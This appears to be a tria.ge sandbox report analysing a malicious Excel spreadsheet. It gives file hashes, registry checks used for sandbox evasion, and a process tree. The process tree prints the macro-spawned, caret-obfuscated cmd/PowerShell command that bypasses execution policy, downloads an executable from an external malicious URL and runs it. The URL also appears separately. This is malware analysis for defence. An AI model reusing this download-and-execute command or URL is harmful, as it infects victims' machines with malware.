Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
47s -
max time network
35s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
15/08/2024, 02:50
Behavioral task
behavioral1
Sample
3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls
Resource
win10v2004-20240802-en
General
-
Target
3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls
-
Size
71KB
-
MD5
a8b328978b0cd22a8fe928d4f9d5156e
-
SHA1
a800e64f46a26fdb5670cb79c326d4ec2de90614
-
SHA256
3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b
-
SHA512
7aa3fbcb0bf49fe7df79940303bafb7241df06eb09c8825d3c0ab5ac5acacb29795030cf2cadebc764ed630a3c69d4f3e404871b2e4e45f7ca532c9827fd12af
-
SSDEEP
1536:vkxEtjPOtioVjDGUU1qfDlaGGx+cL+LIfdAMvZif71rzVm1jrKSFKp:vkxEtjPOtioVjDGUU1qfDlaGGx+cL+LM
Malware Config
Extracted
https://cedacriall.faith/1aqalpiniahelfuimoksa.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2124 3188 cMd.exe 83 -
pid Process 2752 powershell.exe 2752 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3188 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2752 powershell.exe 2752 powershell.exe 2752 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2752 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3188 wrote to memory of 2944 3188 EXCEL.EXE 89 PID 3188 wrote to memory of 2944 3188 EXCEL.EXE 89 PID 3188 wrote to memory of 2124 3188 EXCEL.EXE 91 PID 3188 wrote to memory of 2124 3188 EXCEL.EXE 91 PID 2124 wrote to memory of 2752 2124 cMd.exe 95 PID 2124 wrote to memory of 2752 2124 cMd.exe 95
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3188 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2944
-
-
C:\Windows\SYSTEM32\cMd.execMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2752
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:3480
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD58c0cef91588b6ed43c7848c5aff1d01a
SHA1766aa0749a39d5b0d2a3a972d87834fb04df969f
SHA256aefcb4eaef0a06711744c04c66844b3afd04c8549ea8fe1ae35252073a4ec1a9
SHA512e9e69471c2fdcc402551a514d61ec2689d71ef7689d62476632fba9008eb12f5e61d50490e68981f5069e547a8998d0c16657f13e27dc74b6255a517060ef4c7